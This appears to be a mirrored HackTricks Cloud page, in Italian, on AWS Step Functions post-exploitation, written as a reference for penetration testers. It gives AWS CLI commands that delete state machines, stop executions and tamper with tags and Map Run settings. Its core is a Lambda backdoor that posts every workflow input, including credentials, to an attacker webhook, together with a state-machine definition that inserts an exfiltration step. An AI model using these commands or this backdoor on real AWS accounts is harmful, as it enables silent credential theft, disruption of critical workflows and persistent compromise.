mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-01 07:25:51 -08:00
184 lines
7.5 KiB
Markdown
184 lines
7.5 KiB
Markdown
# AWS - Step Functions Post Exploitation
|
|
|
|
{{#include ../../../../banners/hacktricks-training.md}}
|
|
|
|
## Step Functions
|
|
|
|
Per maggiori informazioni su questo servizio AWS, consulta:
|
|
|
|
{{#ref}}
|
|
../../aws-services/aws-stepfunctions-enum.md
|
|
{{#endref}}
|
|
|
|
### `states:RevealSecrets`
|
|
|
|
Questo permesso consente di **rivelare dati segreti all'interno di un'esecuzione**. Per farlo, è necessario impostare Inspection level su TRACE e il parametro revealSecrets su true.
|
|
|
|
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
|
|
|
Un attaccante con questi permessi sarebbe in grado di eliminare permanentemente state machines, le loro versioni e alias. Questo può interrompere workflow critici, causare perdita di dati e richiedere tempo significativo per recuperare e ripristinare le state machines interessate. Inoltre, permetterebbe all'attaccante di cancellare le tracce utilizzate, ostacolare le indagini forensi e potenzialmente paralizzare le operazioni rimuovendo processi di automazione essenziali e configurazioni di stato.
|
|
|
|
> [!NOTE]
|
|
>
|
|
> - Eliminando una state machine elimini anche tutte le sue versioni e alias associati.
|
|
> - Eliminando un alias di state machine non elimini le versioni della state machine che fanno riferimento a questo alias.
|
|
> - Non è possibile eliminare una versione di state machine attualmente referenziata da uno o più alias.
|
|
```bash
|
|
# Delete state machine
|
|
aws stepfunctions delete-state-machine --state-machine-arn <value>
|
|
# Delete state machine version
|
|
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
|
|
# Delete state machine alias
|
|
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
|
```
|
|
- **Impatto potenziale**: Interruzione di flussi di lavoro critici, perdita di dati e tempi di inattività operativi.
|
|
|
|
### `states:UpdateMapRun`
|
|
|
|
Un attacker con questa autorizzazione potrebbe manipolare la configurazione di failure del Map Run e l'impostazione di parallelismo, potendo aumentare o diminuire il numero massimo di esecuzioni figlie del workflow consentite, incidendo direttamente sulle prestazioni del servizio. Inoltre, un attacker potrebbe manomettere la percentuale e il conteggio di failure tollerati, potendo ridurre questo valore a 0 in modo che ogni volta che un elemento fallisce, l'intero Map Run fallisca, influenzando direttamente l'esecuzione della state machine e potenzialmente interrompendo flussi di lavoro critici.
|
|
```bash
|
|
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
|
```
|
|
- **Impatto potenziale**: Degrado delle prestazioni e interruzione di flussi di lavoro critici.
|
|
|
|
### `states:StopExecution`
|
|
|
|
Un attacker con questa permission potrebbe essere in grado di interrompere l'esecuzione di qualsiasi state machine, interrompendo i flussi di lavoro e i processi in corso. Ciò potrebbe portare a transazioni incomplete, operazioni aziendali sospese e potenziale corruzione dei dati.
|
|
|
|
> [!WARNING]
|
|
> Questa azione non è supportata dalle **express state machines**.
|
|
```bash
|
|
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
|
```
|
|
- **Impatto potenziale**: Interruzione dei flussi di lavoro in corso, downtime operativo e possibile corruzione dei dati.
|
|
|
|
### `states:TagResource`, `states:UntagResource`
|
|
|
|
Un attaccante potrebbe aggiungere, modificare o rimuovere tags dalle risorse di Step Functions, compromettendo l'allocazione dei costi dell'organizzazione, il monitoraggio delle risorse e le politiche di controllo degli accessi basate sui tags.
|
|
```bash
|
|
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
|
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
|
```
|
|
**Impatto potenziale**: Interruzione dell'allocazione dei costi, del tracciamento delle risorse e delle politiche di controllo degli accessi basate sui tag.
|
|
|
|
---
|
|
|
|
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
|
|
|
Un attacker che compromette un user o role con le seguenti autorizzazioni:
|
|
```json
|
|
{
|
|
"Version": "2012-10-17",
|
|
"Statement": [
|
|
{
|
|
"Sid": "AllowUpdateStateMachine",
|
|
"Effect": "Allow",
|
|
"Action": "states:UpdateStateMachine",
|
|
"Resource": "*"
|
|
},
|
|
{
|
|
"Sid": "AllowUpdateFunctionCode",
|
|
"Effect": "Allow",
|
|
"Action": "lambda:UpdateFunctionCode",
|
|
"Resource": "*"
|
|
}
|
|
]
|
|
}
|
|
```
|
|
...possono condurre una **high-impact and stealthy post-exploitation attack** combinando Lambda backdooring con Step Function logic manipulation.
|
|
|
|
Questo scenario presuppone che la vittima utilizzi **AWS Step Functions to orchestrate workflows that process sensitive input**, come credentials, tokens, o PII.
|
|
|
|
Esempio di invocazione della vittima:
|
|
```bash
|
|
aws stepfunctions start-execution \
|
|
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
|
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
|
```
|
|
Se la Step Function è configurata per invocare una Lambda come `LegitBusinessLogic`, l'attaccante può procedere con **due varianti di attacco furtive**:
|
|
|
|
---
|
|
|
|
#### Aggiornata la funzione Lambda
|
|
|
|
L'attaccante modifica il codice della funzione Lambda già utilizzata dalla Step Function (`LegitBusinessLogic`) per esfiltrare silenziosamente i dati di input.
|
|
```python
|
|
# send_to_attacker.py
|
|
import requests
|
|
|
|
def lambda_handler(event, context):
|
|
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
|
|
return {"status": "exfiltrated"}
|
|
```
|
|
|
|
```bash
|
|
zip function.zip send_to_attacker.py
|
|
|
|
aws lambda update-function-code \
|
|
--function-name LegitBusinessLogic \
|
|
--zip-file fileb://function.zip -profile attacker
|
|
```
|
|
#### Aggiungi uno stato malevolo alla Step Function
|
|
|
|
In alternativa, l'attaccante può iniettare uno **exfiltration state** all'inizio del flusso di lavoro aggiornando la definizione della Step Function.
|
|
```malicious_state_definition.json
|
|
{
|
|
"Comment": "Backdoored for Exfiltration",
|
|
"StartAt": "OriginalState",
|
|
"States": {
|
|
"OriginalState": {
|
|
"Type": "Task",
|
|
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
|
|
"End": true
|
|
}
|
|
}
|
|
}
|
|
|
|
```
|
|
|
|
```bash
|
|
aws stepfunctions update-state-machine \
|
|
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
|
--definition file://malicious_state_definition.json --profile attacker
|
|
```
|
|
L'attaccante può essere ancora più furtivo aggiornando la definizione dello stato in qualcosa del genere
|
|
{
|
|
"Comment": "Backdoored for Exfiltration",
|
|
"StartAt": "ExfiltrateSecrets",
|
|
"States": {
|
|
"ExfiltrateSecrets": {
|
|
"Type": "Task",
|
|
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
|
|
"InputPath": "$",
|
|
"ResultPath": "$.exfil",
|
|
"Next": "OriginalState"
|
|
},
|
|
"OriginalState": {
|
|
"Type": "Task",
|
|
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
|
|
"End": true
|
|
}
|
|
}
|
|
}
|
|
dove la vittima non si accorgerà della differenza
|
|
|
|
---
|
|
|
|
### Configurazione della vittima (Contesto per l'exploit)
|
|
|
|
- Una Step Function (`LegitStateMachine`) viene usata per elaborare input utente sensibili.
|
|
- Chiama una o più funzioni Lambda come `LegitBusinessLogic`.
|
|
|
|
---
|
|
|
|
**Impatto potenziale**:
|
|
- Esfiltrazione silenziosa di dati sensibili inclusi secrets, credenziali, API keys e PII.
|
|
- Nessun errore visibile o fallimento nell'esecuzione del flusso di lavoro.
|
|
- Difficile da rilevare senza audit del codice Lambda o le tracce di esecuzione.
|
|
- Permette persistenza a lungo termine se il backdoor rimane nel codice o nella logica ASL.
|
|
|
|
|
|
{{#include ../../../../banners/hacktricks-training.md}}
|